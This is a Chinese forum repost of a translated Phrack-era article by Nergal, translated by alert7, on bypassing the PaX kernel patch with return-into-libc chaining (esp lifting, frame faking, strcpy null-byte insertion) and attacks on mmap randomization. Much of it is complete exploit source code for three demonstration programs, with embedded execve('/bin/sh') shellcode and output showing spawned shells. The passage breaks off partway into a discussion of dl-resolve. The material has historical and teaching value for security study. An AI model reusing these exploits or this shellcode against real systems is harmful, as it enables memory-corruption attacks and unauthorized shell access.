邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2006-3-5 21:59

[转载]绕过Pax内核补丁保护的方法浅析 高级return-into-lib exploits技术

文章翻译:alert7 < [email]alert7@xfocus.org[/email] >
文章作者:Nergal <[email]nergal@owl.openwall.com[/email]>

该文章的英文原版:
[url]http://www.eviloctal.com/forum/read.php?tid=20358&page=1&toread=1[/url]

测试环境 6.2默认安装 内核2.4.16 + PaX
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)


★★ 前言

本文假使您写过一些*unix的exploit,了解其他一些内核补丁防止堆栈不可运行的技术。
让我们尽快切入正题。理解错误之处还请各位斧正。

PaX是为x86 linux设计的防止缓冲区溢出的一个内核补丁。这里说的防止缓冲区溢出
是一个广泛的概念,它也可以给大部分format string vuln和malloc/free vuln的
exploit...带来很大麻烦。
其主要功能是不允许在数据区(heap/bss/stack)执行代码,这个功能有点类试这个
<<使ELF应用程序的数据段不可执行的简易内核补丁>>
[url]http://www.linuxforum.net/forum/showflat.php?Cat=&Board=Kstudy&Number=108848&page=0&view=collapsed&sb=5&o=7&part=[/url]
我在上大学的时候向内核技术版斑竹jkl请教的关于PLT的一些问题。然后他就写了
上面这个补丁。当然其实现原理是不一样的,前者使用的是页机制,后者使用的是段机制。


★★ return-into-lib(c)技术

先抛开pax不说,我们先来看看一般return-into-lib(c) 的情况

<- 堆栈增长方向
  内存地址增长方向 ->
------------------------------------------------------------------
| buffer fill-up(*)| function_in_lib | dummy_int32 | arg_1 | arg_2 | ...
------------------------------------------------------------------
                  ^
                  |
                  - 这个32位的int本来应该是vuln函数的返回地址,
          现在变成library库中的地址或者是PLT中的地址

假如以后程序会用到ebp的话,(*) buffer fill-up 应该正确的处理这个int.
arg_1,arg_2,...是function_in_lib函数的参数。当function_in_lib函数返回时,
将会把dummy_int32作为EIP,继续执行。
你应该也想到了,如果再要调用一个lib中的函数的话,光光把dummy_int32换成
lib函数的地址是不行的。因为arg_2就会被当成dummy_int32函数的第一个参数,
dummy_int32函数返回的时候就会把arg_1做为EIP。

假如一个vulnerable的程序临时放弃了特权。我们的exploit在调用system前必须
带调用一系列的函数来获得特权。这样问题就出来了
第一个问题就是我们上面说的问题,我们如何正确把一系列的调用都串起来,又要
   保证他们用的是适当的参数。
第二个问题就是函数和参数所有的这些数据都不能包含\0,那么象system("/bin/sh"),
   "/bin/sh"字符串结尾\0是如何产生的。下面会讲到的。

Nergal<[email]nergal@owl.openwall.com[/email]> 总结了两种方法把一系列函数调用串联起来。


★ 一: "esp lifting" 方法

该方法适用于-fomit-frame-pointer编译的程序。
因为带上-fomit-frame-pointer编译的程序的函数结尾如下的指令序列。
eplg:
      addl   $LOCAL_VARS_SIZE,%esp
      ret

假如f1和f2是在library中的函数地址。我们构造如下的overflow string

<- 堆栈增长方向
  内存地址增长方向 ->
---------------------------------------------------------------------------
| f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args...
---------------------------------------------------------------------------
^       ^                           ^
|       |                           |
|       | <---------LOCAL_VARS_SIZE------------->|
|
|-- 这个32位的int应该是覆盖vuln函数的返回地址

PAD是一个填充部分(由非0的数据组成),PAD的长度大小加上f1那些参数的大小应该等于
LOCAL_VARS_SIZE. 这样当执行eplg处的ret时,就跳转到f2地址去了。

如果f1(如setuid()的参数就是)只有一个参数(一般参数大小就是4个字节),我们也可以寻找
如下指令序列
pop-ret:
      popl any_register
      ret

这样构造出来的就如下:
<- 堆栈增长方向
  内存地址增长方向 ->
------------------------------------------------------------------------------
| buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ...  
------------------------------------------------------------------------------
             ^
             |
              - 这个32位的int应该是覆盖vuln函数的返回地址

假如f1有很两个参数(一般参数大小就是8 bytes),我们需要在vuln程序中找如下指令序列
pop-ret2:
      popl any_register_1
      popl any_register_2
      ret

太多连续popl指令序列可能在vuln程序中找不到,可能两个就已经开始找不到了。
所以在演示中,我们将寻找eplg的指令序列。

这样构造payload的好处也是显而易见的,我们不需要知道f2字段的地址,就可以
跳到f2指向的地址去执行。就象windows中的jmp esp(其他的跳转指令指令,跟esp,ebp相关的)技术一样。
我一直有点疑问,在libc库中找jmp esp指令地址跟猜测esp值哪个的成功率和精确度会高点呢??哪个又更有
普遍性和通用性呢??呵呵,可能是猜测esp来的更通用,不然也不会在众多*unix的exploit中看不到使用
jmp esp技术的。但在本文中,jmp esp的思想发挥的淋漓尽致:)



★ 二: frame faking方法

第二种方法是为编译时没有带上 -fomit-frame-pointer设计准备的。这样编译出来得的函数结尾一般有
如下指令序列。
leaveret:
      leave
      ret

在这样的的二进制程序中,我们可能找不到有用的"esp lifting"指令序列。
但事实上,是可以找到一些"add $imm,%esp; ret"指令序列。但是这是gcc的特性。我们不能依赖于这个特性。
因为它依靠太多的因数了(gcc的版本,编译时候的选项还有其他等等)。

我们将用返回到"leaveret" 来替代返回到 "esp lifting"指令系列。
overflow payload将由几个独立的部分组成。

<- 堆栈增长方向
  内存地址增长方向 ->
                saved FP  saved vuln. function&#39;s return address
--------------------------------------------
| buffer fill-up(*) | fake_ebp0 | leaveret | ①
-------------------------|------------------
                 |
  +---------------------+      (*) this time, buffer fill-up must not
  |                        overwrite the saved frame pointer !
  v           ②
-----------------------------------------------
| fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ...              
-----|-----------------------------------------
    |                the first frame
    +-+
     |
     v            ③
    ------------------------------------------------
    | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ...
    -----|------------------------------------------
       |            the second frame  
       +-- ...

leaveret是一个地址值,该值的地址存放着如下指令序列
leaveret:
      leave
      ret

leave指令操作其实就是先把ebp-->esp,再pop ebp
ret指令操作其实就是pop eip

所以,执行到①处的leaveret时,ebp就变成了fake_ebp0,EIP就变成了leaveret值,
esp指向的是&(①leaveret)+4.
当①处的leaveret执行完,ebp就变成了fake_ebp1,EIP就变成了f1,
esp指向的是&(②leaveret),函数f1的参数为f1_arg1,f1_arg2 ...
当f1函数进入时,第一条指令就是push %ebp,将会覆盖到f1地址的值,使的
f1=fake_ebp1.第二条指令就是mov %esp,%ebp。
所以f1()返回时,EIP=leaveret,ebp还是等于fake_ebp1,esp指向的是&(②leaveret)+4.
接下去类似...

注意:为了使用这种技术,我们必须知道fake frames精确的位置,因为我们要填写fake_ebp字段。


当然在带上-fomit-frame-pointer编译的程序还是有可能使用这种技术的。
在这种情况下,我们在程序中不能找到leave&ret代码序列,但是通常可以在和程序一块儿连接的
startup routines(from crtbegin.o)中找到。我们必须把"zeroth" chunk(最前面frame)
做一点改变。

由于带上了-fomit-frame-pointer编译,vuln函数的结尾是如下指令序列
      addl   $LOCAL_VARS_SIZE,%esp
      ret
(关于一些gcc的编译选项可参考拙作<<gcc常用的编译选项对代码的影响>>)
所以我们只需要改变下最前面的frame,其他frame不变,就可以得到上面的效果了。

-------------------------------------------------------
| buffer fill-up(*) | leaveret | fake_ebp0 | leaveret |
-------------------------------------------------------
                  ^
                  |
                  |-- 这个32位的int应该是覆盖vuln函数的返回地址

到现在为止,我们可以用两中方法把一系列的调用串起来了,也就解决了第一个问题。
那么我们来看看第二个问题,一些参数尾的\0是如何来的(比如字符串"bin/sh",需要一个
\0作为终止符)。


★★ 插入null bytes

我们先来看看strcpy这个函数,它经常被程序用到,它的第二个参数应该指向NULL
结尾的字符串。也就是说我们每一次的strcpy的调用,就可以使某一个byte变成\0.
hehe,想到了没有,没有想到没有关系,下面我们继续说。
比如我们要调用system("/bin/sh"),可我们构造参数的时候只能构造/bin/shX .
我们可以先使用strcpy把/bin/shX中的X变成\0,strcpy函数的第二个参数有个要求,
应该是只是指向NULL。我们可以在vuln程序p_w_picpath中查找\0。

这里还有个问题,假如所有的libraries被mmaped到包含0的地址时
(象Solar Designer non-exec stack patch),我们不能直接返回到library中。
因为我们不能传NULL到我们构造的frame中。但是,假如strcpy 被vuln程序使用的话,
那我们就可以用该函数的PLT入口了。这样一来,我们又能任意调用libraries中的函数了。
但是,但是,假如程序中没有用到strcpy那怎么办,我们也可以使用其他函数替代。
比如strncpy,strcat,sprintf,snprintf etc...一系列的字符串函数还有其他
一些现在没有想到的却能生产\0的函数。所以对于一个比较大的应用软件来说,基本上
总可以找到可用的函数使我们要调用的函数的参数结尾生产\0.

好了,到现在为止,在最前面我们提到的两个问题已经解决了。


★★ 三个演示

理论这么多了,还是先结合下实际吧。


★ 例一:使用esp lifting技术

一 在带上-fomit-frame-pointer编译的VULN情况下,可以使用esp lifting技术
  也可以使用fake frame技术

二 在不带上-fomit-frame-pointer编译的VULN情况下,应该使用fake frame技术
  因为这种情况下,在函数尾部会有如下指令
  leave
  ret

  leave   指令所做的操作相当于把MOV ESP,EBP 然后 POP EBP  
  就是先把ebp-->esp,再pop ebp,因为我们会覆盖到EBP,所以当leave的时候,
  我们就把ESP也改了,所以esp lifting技术在这种情况下就不太合适。

[alert7@redhat62 phrack-nergal]$ cat vuln.c
#include <stdlib.h>
#include <string.h>
int main(int argc, char ** argv)
{
      char buf[16];
   char buf1[32];//需要加上这个,不然指令add   xxx,%esp将跳不过mmap函数的参数总共大小。
          //或者说定义下面的 char pad3[8 + POPNUM - sizeof(struct mmap_args)];
          //就会出错,也就是会出现8 + POPNUM - sizeof(struct mmap_args) <0的情况
      
      if (argc==2)
           strcpy(buf,argv[1]);
}

[alert7@redhat62 phrack-nergal]$ gcc -fomit-frame-pointer -o vuln.omit vuln.c
[alert7@redhat62 phrack-nergal]$ ldd vuln.omit
      libc.so.6 => /lib/libc.so.6 (0x4c6cb000)
      /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x4c6b3000)
[alert7@redhat62 phrack-nergal]$ ldd vuln.omit
      libc.so.6 => /lib/libc.so.6 (0x4059b000)
      /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40583000)

library库加载的基地址每次运行的都不一样,须做一下处理.这是pax的另一个特性Randomize mmap() base
我们还没有讲到 ,暂时先使用chpax -r把这个特性去掉。

[alert7@redhat62 phrack-nergal]$ ./chpax -r vuln; ./chpax -r vuln.omit
[alert7@redhat62 phrack-nergal]$ ldd vuln.omit
      libc.so.6 => /lib/libc.so.6 (0x40018000)
      /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[alert7@redhat62 phrack-nergal]$ ldd vuln.omit
      libc.so.6 => /lib/libc.so.6 (0x40018000)
      /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
现在每次运行都一样了

Pax的不能防止return-into-lib的exploit。甚至如下的代码也能成功运行于pax保护的系统中。

   char shellcode[] = "arbitrary code here";
   mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE,  
                  MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, some_offset);
   strcpy(0xaa011000+1, shellcode);
   return into 0xaa011000+1;

我们的例一例二的exploit就使用了这种方法。

[alert7@redhat62 phrack-nergal]$ cat ex-move.c
/* by Nergal for vuln.c with -fomit-frame-pointer*/

#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>

#define LIBC         0x40018000
#define STRCPY        0x08048308
#define MMAP         (0x000afaf0+LIBC)
#define POPSTACK      0x80483eb
#define PLAIN_RET      0x80483ee
#define POPNUM        0x30
#define FRAMES        0xbffffe00
#define MMAP_START     0xaa011000

char hellcode[] =
   "\x90"
   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* This is a stack frame of a function which takes two arguments */
struct two_arg {
      unsigned int func;
      unsigned int leave_ret;
      unsigned int param1;
      unsigned int param2;
};
struct mmap_args {
      unsigned int func;
      unsigned int leave_ret;
      unsigned int start;
      unsigned int length;
      unsigned int prot;
      unsigned int flags;
      unsigned int fd;
      unsigned int offset;
};

/* The beginning of our overflow payload.
Consumes the buffer space and overwrites %eip */
struct ov {
      char scratch[16];//在某些高版本gcc编译出来的时候会有8个bytes的垃圾,自己调整下
         //可能以后版本的gcc会把这些垃圾利用起来
      unsigned int eip;
};

/* The second part ot the payload. Four functions will be called:
strcpy, strcpy, mmap, strcpy */
struct ourbuf {
      struct two_arg zero1;
      char pad1[8 + POPNUM - sizeof(struct two_arg)];
      struct two_arg zero2;
      char pad2[8 + POPNUM - sizeof(struct two_arg)];
      struct mmap_args mymmap;
      char pad3[8 + POPNUM - sizeof(struct mmap_args)];
      struct two_arg trans;
      char hell[sizeof(hellcode)];
};

#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))
//#define PTR_TO_NULL 0x80484a7

main(int argc, char **argv)
{
      char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
      char *env[2] = { lg, 0 };
      struct ourbuf thebuf;
      struct ov theov;
      int i;

      memset(theov.scratch, &#39;X&#39;, sizeof(theov.scratch));

      if (argc == 2 && !strcmp("testing", argv[1])) {
           for (i = 0; i < sizeof(theov.scratch); i++)
                theov.scratch[i] = i + 0x10;
           theov.eip = 0x05060708;
      } else {
/* To make the code easier to read, we initially return into "ret". This will
return into the address at the beginning of our "zero1" struct. */
           theov.eip = PLAIN_RET;
      }

      memset(&thebuf, &#39;Y&#39;, sizeof(thebuf));

      thebuf.zero1.func = STRCPY;
      thebuf.zero1.leave_ret = POPSTACK;
/* The following assignment puts into "param1" the address of the least
significant byte of the "offset" field of "mmap_args" structure. This byte
will be nullified by the strcpy call. */
      thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
        offsetof(struct mmap_args, offset);
      thebuf.zero1.param2 = PTR_TO_NULL;

      thebuf.zero2.func = STRCPY;
      thebuf.zero2.leave_ret = POPSTACK;
/* Also the "start" field must be the multiple of page. We have to nullify
its least significant byte with a strcpy call. */
      thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
        offsetof(struct mmap_args, start);
      thebuf.zero2.param2 = PTR_TO_NULL;

      thebuf.mymmap.func = MMAP;
      thebuf.mymmap.leave_ret = POPSTACK;
      thebuf.mymmap.start = MMAP_START + 1;
      thebuf.mymmap.length = 0x01020304;
/* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may
put non-zero junk in the other bytes. 2.2.x kernels are more picky; in such
case, we would need more zeroing. */
      thebuf.mymmap.prot =
        0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
/* Same as above. Be careful not to include MAP_GROWS_DOWN */
      thebuf.mymmap.flags =
        0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
      thebuf.mymmap.fd = 0xffffffff;
      thebuf.mymmap.offset = 0x01021001;

/* The final "strcpy" call will copy the shellcode into the freshly mmapped
area at MMAP_START. Then, it will return not anymore into POPSTACK, but at
MMAP_START+1.
*/
      thebuf.trans.func = STRCPY;
      thebuf.trans.leave_ret = MMAP_START + 1;
      thebuf.trans.param1 = MMAP_START + 1;
      thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

      memset(thebuf.hell, &#39;x&#39;, sizeof(thebuf.hell));
      strncpy(thebuf.hell, hellcode, strlen(hellcode));

      memcpy(lg , &theov, sizeof(theov));
      memcpy(lg  + sizeof(theov), &thebuf, sizeof(thebuf));
      lg[sizeof(thebuf) + sizeof(theov)] = 0;

      if (sizeof(struct ov) + sizeof(struct ourbuf)  != strlen(lg)) {
           fprintf(stderr,
              "size=%i len=%i; zero(s) in the payload, correct it.\n",
              sizeof(struct ov) + sizeof(struct ourbuf) ,
              strlen(lg));
      printf("%s\n",lg);
           exit(1);
      }
      execle("./vuln.omit", "./vuln.omit",lg , NULL, 0);
}

[alert7@redhat62 phrack-nergal]$ gcc -o ex-move ex-move.c
[alert7@redhat62 phrack-nergal]$ ./ex-move
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
bash$ exit

经过修改一系列的参数调整(如何调整具体看附README.code),终于在打过Pax安全内核补丁的情况下成功了


★ 例二: 使用fake frame技术

[alert7@redhat62 phrack-nergal]$ cat vuln.c
#include <stdlib.h>
#include <string.h>
int main(int argc, char ** argv)
{
      char buf[16];
      char buf1[32];
      if (argc==2)
           strcpy(buf,argv[1]);
}

[alert7@redhat62 phrack-nergal]$ gcc  -o vuln vuln.c
[alert7@redhat62 phrack-nergal]$ ./chpax -r vuln
[alert7@redhat62 phrack-nergal]$ ldd vuln
      libc.so.6 => /lib/libc.so.6 (0x40018000)
      /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[alert7@redhat62 phrack-nergal]$ ldd vuln
      libc.so.6 => /lib/libc.so.6 (0x40018000)
      /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[alert7@redhat62 phrack-nergal]$ cat ex-frame.c
/* by Nergal for vuln.c without -fomit-frame-pointer */
#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>

#define LIBC      0x40018000//0x40018000//0x4001e000
#define STRCPY     0x08048308
#define MMAP      (0x000afaf0+LIBC)
#define LEAVERET   0x080483bb//0x80484bd
#define FRAMES    0xbffffe60

#define MMAP_START  0xaa011000

char hellcode[] =
   "\x90"
   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";


/* See the comments in ex-move.c */
struct two_arg {
      unsigned int new_ebp;
      unsigned int func;
      unsigned int leave_ret;
      unsigned int param1;
      unsigned int param2;
};
struct mmap_args {
      unsigned int new_ebp;
      unsigned int func;
      unsigned int leave_ret;
      unsigned int start;
      unsigned int length;
      unsigned int prot;
      unsigned int flags;
      unsigned int fd;
      unsigned int offset;
};

struct ov {
      char scratch[16];
      unsigned int ebp;
      unsigned int eip;
};

struct ourbuf {
      struct two_arg zero1;
      struct two_arg zero2;
      struct mmap_args mymmap;
      struct two_arg trans;
      char hell[sizeof(hellcode)];
};

#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))

main(int argc, char **argv)
{
      char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
      char *env[2] = { lg, 0 };
      struct ourbuf thebuf;
      struct ov theov;
      int i;

      memset(theov.scratch, &#39;X&#39;, sizeof(theov.scratch));

      if (argc == 2 && !strcmp("testing", argv[1])) {
           for (i = 0; i < sizeof(theov.scratch); i++)
                theov.scratch[i] = i + 0x10;
           theov.ebp = 0x01020304;
           theov.eip = 0x05060708;
      } else {
           theov.ebp = FRAMES;
           theov.eip = LEAVERET;
      }
      thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2);
      thebuf.zero1.func = STRCPY;
      thebuf.zero1.leave_ret = LEAVERET;
      thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
        offsetof(struct mmap_args, offset);
      thebuf.zero1.param2 = PTR_TO_NULL;

      thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap);
      thebuf.zero2.func = STRCPY;
      thebuf.zero2.leave_ret = LEAVERET;
      thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
        offsetof(struct mmap_args, start);
      thebuf.zero2.param2 = PTR_TO_NULL;

      thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans);
      thebuf.mymmap.func = MMAP;
      thebuf.mymmap.leave_ret = LEAVERET;
      thebuf.mymmap.start = MMAP_START + 1;
      thebuf.mymmap.length = 0x01020304;
      thebuf.mymmap.prot =
        0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
      /* again, careful not to include MAP_GROWS_DOWN below */
      thebuf.mymmap.flags =
        0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
      thebuf.mymmap.fd = 0xffffffff;
      thebuf.mymmap.offset = 0x01021001;

      thebuf.trans.new_ebp = 0x01020304;
      thebuf.trans.func = STRCPY;
      thebuf.trans.leave_ret = MMAP_START + 1;
      thebuf.trans.param1 = MMAP_START + 1;
      thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

      memset(thebuf.hell, &#39;x&#39;, sizeof(thebuf.hell));
      strncpy(thebuf.hell, hellcode, strlen(hellcode));

      memcpy(lg, &theov, sizeof(theov));
      memcpy(lg + sizeof(theov), &thebuf, sizeof(thebuf));
      lg[sizeof(thebuf) + sizeof(theov)] = 0;

      if (sizeof(struct ov) + sizeof(struct ourbuf) != strlen(lg)) {
           fprintf(stderr,
              "size=%i len=%i; zero(s) in the payload, correct it.\n",
              sizeof(struct ov) + sizeof(struct ourbuf) ,
              strlen(lg));
           exit(1);
      }
   execle("./vuln", "./vuln", lg, NULL, 0);
}

[alert7@redhat62 phrack-nergal]$ ./ex-frame
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
bash$ exit
exit

经过修改一系列的参数调整(如何调整具体看附README.code),使用fake frame技术也成功了 :)



★ 例三:

看看我在<<非安全编程演示之高级篇>>这片文章里讲到的那个exploit,
看看他在pax的情况下能否成功。

[alert7@redhat62 alert7]$ cat e2.c
int main(int argv,char **argc) {
      char buf[256];
      printf("%p\n",buf);
      strcpy(buf,argc[1]);
}
[alert7@redhat62 alert7]$ ./chpax -r e2
[alert7@redhat62 alert7]$ cat exp_e2.c
#include <stdio.h>

#define RET_POSITION              260
#define NOP                   0x90
#define BUFADDR                 0xbffff978//0xbffff968
#define SYSTEM            0x40058ae0
char shell[]="/bin/sh";               /* .string \"/bin/sh\"  */

int main(int argc,char **argv)
{
      char buff[1024],*ptr;
      int retaddr;
      int i;

      retaddr=SYSTEM;
      if(argc>1)
           retaddr=SYSTEM+atoi(argv[1]);

      bzero(buff,1024);
      for(i=0;i<300;i++)
           buff[i]=NOP;
      *((long *)&(buff[RET_POSITION-4]))=BUFADDR+4*3+strlen(shell);
      *((long *)&(buff[RET_POSITION]))=retaddr;
      *((long *)&(buff[RET_POSITION+4]))=0xaabbccdd;//当system返回时候的eip
      *((long *)&(buff[RET_POSITION+8]))=BUFADDR+RET_POSITION+4*3;
      ptr=buff+RET_POSITION+12;
      strcpy(ptr,shell);
      printf("Jump to 0x%08x\n",retaddr);

      execl("./e2","e2",buff,0);
}
[alert7@redhat62 alert7]$ ./exp_e2
Jump to 0x40058ae0
0xbffff978
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
bash$ exit
exit
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e2 core -q
Core was generated by `e2 &#39;.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0xaabbccdd in ?? ()

bingo~~,也是成功了:)


在PAX情况下,这三个例子成功的关键是我们把有问题的程序去掉了
Randomize mmap() base选项,使每次vuln的库都加载到同一个地方,(还有就是pax没有
把library库加载到内存的低端)所以这样我们就可以轻易的得到一些关键函数的地址,比如
说system的地址(即使vuln程序没有使用system())。



★★ 随机mmap()base特性

为了抵抗return-into-lib(c) 的exploit技术,随机mmap()base特性被加到了pax中。
假如在配置kernel的时候CONFIG_PAX_RANDMMAP选项被设置,装载进的library将被mmaped
到随机的地址。第一个library将被mmapped到0x40000000+random*4k,
堆栈顶现在就会变成 0xc0000000-random*16;不管是哪种情况下, "random"是一个
unsigned 16-bit integer的伪随机数。是通过get_random_bytes()调用获得(
它是强加密数据)

[alert7@redhat62 phrack-nergal]$ ash
$ cat /proc/$$/maps
08048000-08057000 r-xp 00000000 03:05 357756    /bin/ash
08057000-08058000 rw-p 0000e000 03:05 357756    /bin/ash
08058000-0805b000 rw-p 00000000 00:00 0
4a2a8000-4a2bb000 r-xp 00000000 03:05 422661    /lib/ld-2.1.3.so
4a2bb000-4a2bc000 rw-p 00012000 03:05 422661    /lib/ld-2.1.3.so
4a2bc000-4a2bd000 rw-p 00000000 00:00 0
4a2c0000-4a3ad000 r-xp 00000000 03:05 422668    /lib/libc-2.1.3.so
4a3ad000-4a3b1000 rw-p 000ec000 03:05 422668    /lib/libc-2.1.3.so
4a3b1000-4a3b5000 rw-p 00000000 00:00 0
bff7c000-bff7f000 rw-p ffffe000 00:00 0
$ exit
[alert7@redhat62 phrack-nergal]$ ash
$ cat /proc/$$/maps
08048000-08057000 r-xp 00000000 03:05 357756    /bin/ash
08057000-08058000 rw-p 0000e000 03:05 357756    /bin/ash
08058000-0805b000 rw-p 00000000 00:00 0
4e110000-4e123000 r-xp 00000000 03:05 422661    /lib/ld-2.1.3.so
4e123000-4e124000 rw-p 00012000 03:05 422661    /lib/ld-2.1.3.so
4e124000-4e125000 rw-p 00000000 00:00 0
4e128000-4e215000 r-xp 00000000 03:05 422668    /lib/libc-2.1.3.so
4e215000-4e219000 rw-p 000ec000 03:05 422668    /lib/libc-2.1.3.so
4e219000-4e21d000 rw-p 00000000 00:00 0
bfff0000-bfff3000 rw-p ffffe000 00:00 0

CONFIG_PAX_RANDMMAP特性使简单的返回到library是不可能的。那些库每次加栽的时候
装载的基地址都是不同的。这样一来,我们前面的三个exploit都会失败。

但也有几个弱点:

一:
在local exploit的情况下,libraries和stack被mmap到地址是可以从
/proc/pid_of_attacked_process/maps pseudofile获得的。
假如我们构造的playload是victim进程启动后传入victim的。那么
我们就可以知道所有构造overflow数据所需要的信息。
例如,假如overflow的数据来自程序的参数或者是环境变量,local攻击者就会失败。
但是假如overflowing数据来自一些I/O操作(socket,读文件),local攻击者就会胜利。
解决的办法是:象许多安全补丁那样,限制访问/proc下的文件。

二:
我们可以暴力猜测那些被mmap到的基地址。通常,猜测libc基地址是可行的。经过上万次的试探,
攻击者猜测对的可能性很大。
解决的办法:依靠segvguard[8].它是一个守护进程它将注意到kernel递送给进程的SIGSEGV
或者其他相似的信号。Segvguard能临时阻止进程的运行(这样就可以防止暴力破解)并且还
有一些另人感兴趣的特性。

三:
关于library和stack的基地址的这些信息会被format string bug泄露出来。
例如,wuftpd vuln的情况,使用如下命令可以泄露stack中的信息。
site exec [eat stack]%x.%x.%x...
那些存在于stack中的自动变量指针将显示stack的基地址。动态连接器和libc的startup例程
会在stack留下一些指向library objects的指针(还有返回地址),所以,这样可能会
被推算出libraries装载的基地址。

四:
有时候,我们可以直接在vuln程序(非PIC并且不能随机的被mmapped)中找到一些有用的函数。
例如, su有一个函数(成功认证后会被调用),该函数获得root权限和执行一个SHELL--
我们只需要跳到这个函数地址就可以了。

五:
所有的被vuln程序使用的library函数都可以通过PLT入口来调用 。PLT一定会出现在一个固定
的地址。vuln程序通常比较大的并且调用了许多函数,所以我们可以在PLT中查找一些感兴趣的东西。

上面的五种情况或者说是方法没有一种保证能够可以成功溢出的。我们需要更好的通用方法。


在以下的章节,我们将讨论动态连接器dl-resolve()函数的接口。假如传入适当的参数(其中某个参数
保存着函数名的字符串),它将决定真正的函数的地址。从功能上看,该函数有点跟dlsym()函数相似。
使用dl-resolve()函数,我们能够再次构造一个return-into-lib的exploit.
要调用的函数的地址是未知的, [12] 也讨论了一种方法通过它的名字来获得函数的地址,但是那种
技术对我们这个是没有价值的。


★★ 动态连接器dl-resolve()函数

在看该函数之前,我们先来看看ELF的一些数据结构(include elf.h)

typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
  Elf32_Addr   r_offset;          /* Address */
  Elf32_Word   r_info;            /* Relocation type and symbol index */
} Elf32_Rel;
/* How to extract and insert information held in the r_info field.  */
#define ELF32_R_SYM(val)           ((val) >> 8)
#define ELF32_R_TYPE(val)          ((val) & 0xff)


typedef struct
{
  Elf32_Word   st_name;  /* Symbol name (string tbl index) */
  Elf32_Addr   st_value;  /* Symbol value */
  Elf32_Word   st_size;  /* Symbol size */
  unsigned char st_info;  /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;
st_size, st_info 和st_shndx在符号的解析过程是使用不到的。


使用"objdump -x file"查看动态section中的内容,有一些我们比较感兴趣的。

$ objdump -x some_executable     
...
Dynamic Section:
...
  STRTAB    0x80484f8 the location of string table (type char *)
  SYMTAB    0x8048268 the location of symbol table (type Elf32_Sym*)
....
  JMPREL    0x8048750 the location of table of relocation entries
                related to PLT (type Elf32_Rel*)
...
  VERSYM    0x80486a4 the location of array of version table indices
                (type uint16_t*)
显示.plt section的位置。该例子中为0x08048894.
11 .plt       00000230  08048894  08048894  00000894  2**2
            CONTENTS, ALLOC, LOAD, READONLY, CODE


★ PLT是如何调用dl-resolve()函数的

  一个典型的PLT入口如下:

(gdb) disas some_func
Dump of assembler code for function some_func:
0x804xxx4 <some_func>:    jmp   *some_func_dyn_reloc_entry
0x804xxxa <some_func+6>:  push  $reloc_offset
0x804xxxf <some_func+11>:  jmp   beginning_of_.plt_section

beginning_of_.plt_section:
   push GOT[1] ; word of identifying information
   jmp GOT[2] ; pointer to rtld function 即dl-resolve()函数

  PLT入口仅仅是在$reloc_offset变量上不同(虽然some_func_dyn_reloc_entry
的变量也不同,但是最后在符号解析算法中没有用到该变量)。

我们从glibc的源代码可以看到,dl-resolve()函数的第一个参数为reloc_offset,
第二个参数为类型为link_map *(但第二个参数在这里对我们没有关系)

1) 计算一些函数的重定位入口。
      Elf32_Rel * reloc = JMPREL + reloc_offset;

  typedef struct {
    Elf32_Addr   r_offset;
    Elf32_Word   r_info;
